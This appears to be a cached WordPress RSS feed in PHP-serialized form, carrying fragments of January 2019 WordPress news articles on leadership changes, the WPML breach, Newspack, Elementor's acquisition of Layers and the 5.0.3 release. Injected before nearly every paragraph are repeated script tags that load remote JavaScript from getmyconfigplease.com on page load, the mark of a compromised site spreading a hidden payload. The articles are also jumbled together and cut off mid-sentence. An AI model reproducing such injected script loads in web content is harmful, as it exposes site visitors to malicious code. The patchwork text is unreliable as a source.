o enjoy the process instead of the end goal. I save my evenings and (80% of) my weekends for family and friends — and always have my phone on DND in those hours. Also: I don&#8217;t check my email before I have left my apartment.

href=\"https://wptavern.com/state-of-the-word-2018-wordpress-embraces-the-block-editor\" rel=\"noopener\" target=\"_blank\">2018 State of the Word</a> address, Matt Mullenweg acknowledged lessons learned in the process of releasing WordPress 5.0. One of those was the need for various teams across the project to work together better. The friction during the 5.0 development cycle was beneficial in that it surfaced areas where the project can grow and sparked conversations that are already leading to improvements. </p>\n<script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><p>Last week Mullenweg announced that WordPress is <a href=\"https://make.wordpress.org/updates/2019/01/16/expanding-wordpress-leadership/\" rel=\"noopener\" target=\"_blank\">expanding its leadership team</a> to include Josepha Haden in a new Executive Director role and Joost de Valk as the Marketing and Communications Lead. These new roles better distribute project leadership to more individuals who have demonstrated the ability and judiciousness to guide large, diverse teams towards success. Haden will be overseeing WordPress&#8217; contributor teams and de Valk is leading the marketing team and overseeing improvements to WordPress&#8217; websites and other outlets. </p>\n<script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><p>The Executive Director role is particularly critical for the health of the project, as contributor and community feedback pours in across so many different mediums. Tracking all of this information and taking it into consideration amounts to a full-time job. In her first week in the new role, <a href=\"https://make.wordpress.org/updates/2019/01/21/our-strengths-and-challenges/\" rel=\"noopener\" target=\"_blank\">Haden is seeking feedback regarding the challenges contributors face</a> when working on the project. She identified seven challenges which seem to resonate with many who have commented:</p>\n<ul>\n<li>Coordinating on collaborative work between teams</li>\n<li>Aligning our work better to project goals/values</li>\n<li>Understanding team roles, leadership structures, and decision making</li>\n<li>Clarifying the differences between open source and open commit</li>\n<li>Tracking conversations and progress across the project</li>\n<li>Raising project-wide concerns more easily</li>\n<li>Improving how we recognize and celebrate success</li>\n</ul>\n<script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><p>Responses from contributors have so far revolved around a similar theme &#8211; the desire for more clearly-defined projects and goals for teams, along with more communication from leadership. </p>\n<script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><p>&#8220;Define goals and deliverables for each project deliverable,&#8221; Daniel Bachhuber suggested. &#8220;Once these are defined, it’s much easier to estimate the level of effort and resources required. Distinguish between full-time sponsored, part-time sponsored, and completely volunteer labor. Each of these three do not work at the same pace. It’ll be much easier to estimate a team’s velocity if you know what type of labor you have to work with.&#8221;</p>\n<script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><p>Meagen Voss offered some valuable insight from a newer contributor&#8217;s perspective. She said the leadership of the project is very unclear and that people could benefit from that information being more prominently published. She also <a href=\"https://make.wordpress.org/updates/2019/01/21/our-strengths-and-challenges/#comment-4363\" rel=\"noopener\" target=\"_blank\">suggested</a> that WordPress explore the idea of having ambassadors for each team to facilitate communication and collaboration across projects.</p>\n<blockquote><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><p>You get to know your team very well, but no so much other teams. I’ve met some great folks in Slack and am getting to know the two groups I’m involved in super well. But if I have an issue or a question that needs to be addressed to another group, then I would have to hang out in that team’s channel for a while to figure out who the right person is to get in touch with.

It will be very difficult to clearly reflect the frontend page structure on this screen in a way that users will be able to understand. Experimenting with contextual approaches to this experience in the customizer offers numerous opportunities for this fundamental problem to be solved. Starting with the visible edit shortcuts that are already in core, revamped widgets could be edited directly on the frontend (of the customize preview) or in an overlay that is more directly related to the display on a particular screen. The ability to navigate to different parts of the site within the customize preview solves a problem that this screen will never be able to address.</p></blockquote>\n<script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><p>Getting blocks to work in the Customizer is also part of phase 2, but conversation on the ticket related to wp-admin/widgets.php indicates the team is not going to abandon this screen just yet. </p>\n<script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><p>&#8220;While this screen will eventually be deprecated in the future, especially as more of the site is built in Gutenberg, it&#8217;s a necessary &#8220;baby step&#8221; to get us all there together,&#8221; Uraine said. &#8220;Maybe the best thing is to keep the existing layout, but just allow the use of all blocks within the accordion content areas?

Widgets have served WordPress well over the years, making it easy for users to customize their websites without having to know how to code.

They also assured customers that the WPML plugin does not contain an exploit and that payment information was not compromised. The company published an <a href=\"https://wpml.org/2019/01/wpml-org-site-back-to-normal-after-an-attack-during-the-weekend/\" rel=\"noopener\" target=\"_blank\">announcement</a> to their website, detailing the incident and their response: </p>\n<blockquote><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><p>We updated wpml.org, rebuilt everything and reinstalled everything.

He and his team are working to provide evidence to the authorities. He said the the nature of the attack demonstrates that it was likely not an outside hacker:</p>\n<blockquote>\n<ul>\n<li>The first time our site was breached was on the day we fired an employee, who had access to our servers. We didn&#8217;t identify the breach at that time. However, once we got hacked, we analyzed the original hole and we found in our log when it was placed (yup, he deleted the log, but he didn&#8217;t delete the backup). Now that we finished cleaning up the mess, we&#8217;re going through all logs and collecting the full evidence.</li>\n<li>The attacker targeted specific code and database tables that are unique to our site and not generic WordPress or WPML tables.</li>\n<li>The attacker crafted the attack so that it would cause us long term damage and not be apparent in first sight. That long-term damage is very difficult to guess without knowing our business objectives and challenges. This is information that our employees have, but we don&#8217;t disclose.</li>\n</ul>\n</blockquote>\n<script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><p>The idea that a former employee who is known to the company would risk performing these illegal actions is difficult to grasp, even in the case of someone who was fired and may have been acting in retaliation.

Many others have become &#8220;ghost newspapers,&#8221; shells of what they once were &#8211; either absorbed by larger dailies that purchased them or suffering from a severely pared back newsroom that is unable to adequately cover local events.</p>\n<script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><p>WordPress.com has amassed an expert team to address this crisis in local news. The Newspack platform will cater to the technological and editorial needs of smaller newsrooms, with the monetization tools to make their work sustainable. WordPress.com is currently accepting <a href=\"https://newspack.blog/\" rel=\"noopener\" target=\"_blank\">applications for charter participants</a> and plans to launch in beta near the end of July 2019.</p>\n<h3>Open Source Newspack Platform to Offer an Alternative to Expensive Proprietary CMS&#8217;s</h3>\n<script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><p>The WordPress community has <a href=\"https://twitter.com/carlhancock/status/1084900673559371776\" rel=\"noopener\" target=\"_blank\">speculated</a> <a href=\"https://twitter.com/mor10/status/1084887261471072257\" rel=\"noopener\" target=\"_blank\">widely</a> about what shape Newspack will take, whether it will be like WordPress.com VIP tailored to publications or something similar to Jetpack with a curated set of tools that could be used by self-hosted sites through SaaS upgrades. According to WordPress.com president Kinsey Wilson, a former executive for NPR and The New York Times who joined Automattic in 2018, the platform may end up being a hybrid of approaches. </p>\n<script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><p>&#8220;It’s still very early in the process, but I expect elements of both VIP and Jetpack to inform this,&#8221; Kinsey said. &#8220;Newspack will be part of the WordPress.com platform, but we’re going to be working on a highly curated experience tailored to these news organizations, with individualized support available across editorial and business.&#8221; </p>\n<script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><p>The platform will support plugins that solve problems publishers experience at the local level and will also include Gutenberg-specific editorial tools.</p>\n<script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><p>&#8220;It will leverage Gutenberg,&#8221; Kinsey said. &#8220;A few examples of the tools that might be launched with Newspack include email integration for marketing and editorial; programmatic ad integration, analytics, real-time backups, and revenue generating tools for subscriptions and e-commerce. We hope to work closely with partners across the WordPress ecosystem for potential ways to work with services that are beneficial to news organizations.&#8221;</p>\n<script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><p>The most important distinction of the Newspack platform is that it will be open source. That also puts it directly in competition with proprietary CMS&#8217;s like Arc, Vox Media&#8217;s Chorus CMS, and MediaOS, that are prominent in the news industry right now. Instead of working together, larger media companies have opted to build their own CMS&#8217;s and many of them are also <a href=\"http://www.niemanlab.org/2018/11/is-it-finally-time-for-media-companies-to-adopt-a-common-publishing-platform/\" rel=\"noopener\" target=\"_blank\">licensing enterprise versions to publishers or offering them as SaaS solutions</a>.</p>\n<script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><p>I asked Kinsey if Newspack will be something news organizations could self-host or if it will be inextricably tied to WordPress.com&#8217;s infrastructure. WordPress.com is making it open in the sense that publishers will not be tied to using it forever if they want to their information and copy the same setup somewhere else.</p>\n<script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><p>&#8220;It is not only open source, it will be designed so that at any point in time any individual site or even a commercial competitor could capture an image of the setup and port it to another platform,&#8221; Kinsey said. &#8220;The value we offer is our knowledge of the news industry, our ability to keep pace with new requirements, and our ability to vet various plug-ins and open-source contributions to the project for security and interoperability &#8212; all at an attractive operating cost of between $1,000 and $2,000 per month. In addition, we hope to expose news organizations to a wider community of like-minded developers and to create an on-boarding system that simplifies the setup.&#8221; </p>\n<script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><p>Operating costs on proprietary platforms are much higher than what WordPress.com is planning for Newspack. Arc costs smaller publishers <a href=\"https://digiday.com/media/washington-post-building-tech-platform-arc/\" rel=\"noopener\" target=\"_blank\">$10,000 per month in software licensing fees</a> and can cost up to $150,000 monthly for larger publications. Vox media executives <a href=\"https://www.wsj.com/articles/vox-media-to-begin-licensing-publishing-technology-chorus-1531828800\" rel=\"noopener\" target=\"_blank\">told the Wall Street Journal</a> that the company &#8220;plans to sell Chorus at different pricing tiers depending on the demands of each customer with fees in the six and seven-figure ranges.&#8221; Small local news publications are often priced out of using a publishing platform like this.</p>\n<script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><p>&#8220;It breaks my heart how much of their limited resources these organizations still sink into closed-source or dead-end technology,&#8221; Automattic CEO Matt Mullenweg said in a <a href=\"https://ma.tt/2019/01/journalism-and-newspack/\" rel=\"noopener\" target=\"_blank\">post</a> introducing Newspack on his blog. &#8220;Open source is clearly the future, and if we do this right Newspack can be the technology choice that lasts with them through the decades, and hopefully our 15 years of growth lends some credibility to our orientation to build things for the long term.&#8221;</p>\n<script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><p>Google&#8217;s support of Newspack is in line with its history of building with and <a href=\"https://wptavern.com/google-launches-opensource-dev-as-an-introduction-to-open-source\" rel=\"noopener\" target=\"_blank\">supporting open source projects</a>. When asked for clarification on Google&#8217;s investment in the project, Kinsey said, &#8220;It is a donation that is intended to support work that otherwise would not likely find commercial support because of the relatively modest means of small digital publishers.&#8221;</p>\n<script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><p>WordPress.com&#8217;s Newspack announcement comes on the heels of the news of <a href=\"https://www.usatoday.com/story/money/business/2019/01/16/when-digital-first-media-gannetts-hostile-suitor-comes-town/2579392002/\" rel=\"noopener\" target=\"_blank\">Digital First Media&#8217;s unsolicited $1.36 billion bid for Gannett</a>. The future of local news is tenuous, as larger players in the industry press for more consolidation and cost-cutting journalism.

What I really love about this video in particular is that we get into the specifics of <em>how</em> a company can start to embrace a culture of letting employees work from anywhere, even if it started out as a traditional office with everyone in the same place. Automattic never started that way, so even as we’ve scaled up to more than <a href=\"https://automattic.com/work-with-us/\">840 people</a> in 68 countries, there’s never been a question — it’s now built in to our entire culture.<br /></p>\n\n\n\n<script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><p>For distributed work to scale up, it’s going to require more CEOs, workers, and managers to test the waters. Any company can experiment with distributed work — just pick a day or two of the week in which everyone works from home, I suggest Tuesdays and Thursdays, then build the tools and systems to support it. Yes, that may require some shuffling of meetings, or more written documentation versus verbal real-time discussion. But I think companies will be surprised how quickly it will “just work.” <br /></p>\n\n\n\n<script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><p>If the companies don’t experiment, workers may force them to do it anyway: <br /></p>\n\n\n\n<div class=\"wp-block-embed__wrapper\">\n<blockquote class=\"twitter-tweet\"><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><p lang=\"en\" dir=\"ltr\">I don\'t think tech folks quite understand how pervasive remote work has become.

Blocks enable them to easily swap out featured products and customize promotions on products that are selling well in their stores. All of these actions are quick to configure inside the new editor with a live preview. The sooner this feature plugin lands in WooCommerce core, the easier it will be to make these kinds of quick updates.

Layers co-founders David and Marc Perel identified Gutenberg as the main reason for the sale in their farewell <a href=\"https://www.layerswp.com/2019/01/elementor-acquires-layers-wp/\">announcement</a>:</p>\n\n\n\n<blockquote class=\"wp-block-quote\"><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><p>With the arrival of Gutenberg we realized that a big change was required for Layers to keep pace. A massive investment of time and money was needed so we had to assess the best way forward. Having spent all of our 20&#8217;s working 18 hour days to build beautiful WordPress products we reached a point where we felt it best to partner with another company to try take Layers to the next level.</p></blockquote>\n\n\n\n<script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><p>Elementor is the leading WordPress page builder, with more than a million active installations. CMO Ben Pines said they estimate that number to be closer to 2 million, based on the daily install rate. The company has grown from 6 employees to 55 since it launched in June 2016.</p>\n\n\n\n<script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><p>Elementor was well-prepared for Gutenberg&#8217;s inclusion in 5.0. While other page builders are still considering how to move forward with the new editor, Elementor released its <a rel=\"noreferrer noopener\" href=\"https://wordpress.org/plugins/block-builder/\" target=\"_blank\">Elementor Blocks for Gutenberg</a> plugin in October 2018, making it possible for users to insert any Elementor template into Gutenberg with one click.</p>\n\n\n\n<script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><p>In the past, Layers didn&#8217;t meet the requirements for being listed in the WordPress.org themes directory, because the team decided not to follow best practices for keeping plugin and theme functionality separate. In 2016, <a href=\"https://wptavern.com/layers-ends-exclusive-arrangement-with-envato-launches-new-marketplace\">Perel said they were opting to maintain Layers as a hybrid product</a>, a theme that included plugin-like functionality, in order to keep third-party conflicts to a minimum, which he said also lessened their support burden. This prevented the product from receiving greater exposure on WordPress.org. As larger page builders began to dominate the market, Layers failed to gain the traction it needed to compete. Add Gutenberg to the mix and Layers&#8217; founders were in need of an exit.</p>\n\n\n\n<script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><p>&#8220;We feel that this acquisition has come just at the right moment when WordPress itself is going through a huge amount of change,&#8221; Perel said. &#8220;With the release of Gutenberg and the new built-in post editor we realized that much of Layers would need to change in order to keep pace with the new look of WordPress and feel that <a rel=\"noreferrer noopener\" href=\"https://layerswp.us10.list-manage.com/track/click?u=5b9a020fcf797987098cc7bca&id=c493b36eaa&e=4441ba6d29\" target=\"_blank\">Elementor</a> is the best company to respond to the shifting tide of the industry.&#8221;</p>\n\n\n\n<h3>Layers&#8217; Theme Collection Is Now Free and Fully Compatible with Elementor</h3>\n\n\n\n<script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><p>Elementor has released all 11 of <a href=\"https://www.layerswp.com/product-category/themes/\">Layers&#8217; themes</a> for free and Ben Pines said they are considering listing them on WordPress.org to make it easier for users to find them and stay updated. All of the themes have been updated to be fully compatible with both Gutenberg and Elementor. Existing Layers&#8217; customers will receive two months of support before support is handed over to the Layers user community.</p>\n\n\n\n<script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><p>&#8220;Updating themes for compatibility is no easy matter, and we get thousands of requests asking for a theme that is compatible with Elementor,&#8221; Pines said. Finding a theme that is fully compatible with the page builder can be challenging. Pines said users often decide to use Elementor first and then look for a theme. There&#8217;s even a Facebook group called <a href=\"https://www.facebook.com/groups/126645814685793/?ref=br_rs\">Elementor + Which Theme?</a> with more than 2,400 members.</p>\n\n\n\n<script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><p>&#8220;Themes still pose an issue for users,&#8221; Elementor&#8217;s head of business development, Zvi Shapira, said. &#8220;We saw value in continuing the Layers project, and not leaving thousands of Layers users without a home. Layers is a well worthy project, and offering a theme that is compatible with Elementor and Gutenberg for free for our users and for all WordPress users has great value.&#8221;</p>\n\n\n\n<script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><p>Pines identified Layers&#8217; advanced Customizer panel as one of its chief selling points. Along with the acquisition, all of the Layers Pro features, such as resizing the logo, customizing buttons, and styling menus, are now rolled into the free version.</p>\n\n\n\n<script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><p>Gutenberg is forcing some consolidation among page builders, as smaller operations struggle to keep pace with the technical updates required. Gutenberg is expected to standardize a way of layout building further along in the site customization phase. Pines said his team isn&#8217;t worried about how that will impact Elementor, even if core ends up overlapping with some of the solutions they offer in the plugin.</p>\n\n\n\n<script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><p>&#8220;I really don&#8217;t know if there will be an impact and of what sort,&#8221; Pines said. &#8220;It&#8217;s like the blocks we developed for Gutenberg. We adapted to provide our users with the maximum flexibility.&#8221; The plugin ensures that users don&#8217;t have to choose between using Gutenberg and the page builder. Acquiring Layers&#8217; theme collection means Elementor users no longer have to look so hard to find a compatible theme.</p>\n\n\n\n<script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><p>&#8220;Our hope is that Layers themes will help less tech-savvy users manage the entire site design hassle-free,&#8221; Pines said.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Wed, 09 Jan 2019 23:29:12 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Sarah Gooding\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:40;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:45:\"Dev Blog: WordPress 5.0.3 Maintenance Release\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:34:\"https://wordpress.org/news/?p=6530\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:71:\"https://wordpress.org/news/2019/01/wordpress-5-0-3-maintenance-release/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:4566:\"<script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><p>WordPress 5.0.3 is now available!</p>\n\n\n\n<script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><p>5.0.3 is a maintenance release that includes 37 bug fixes and 7 performance updates.

The second aspect of the project that aims to get WordPress a seat at the table seems more feasible and more likely to be well-received by the project&#8217;s leadership. It might make more sense to split up the two objectives into different projects. WordPress&#8217; internal governance and its role in the greater web are very different topics, but the project&#8217;s creators seem to view them as inseparable.</p>\n\n\n\n<script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><p>Matt Mullenweg hasn&#8217;t joined in the Twitter conversation about governance but he did address the topic on a recent <a href=\"https://poststatus.com/matt-mullenweg-on-gutenberg/\">Post Status podcast episode</a>.</p>\n\n\n\n<script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><p>&#8220;When he was talking about open governance, my take was that he was talking about getting WordPress a seat at the table, and discussing these regulation changes and et cetera 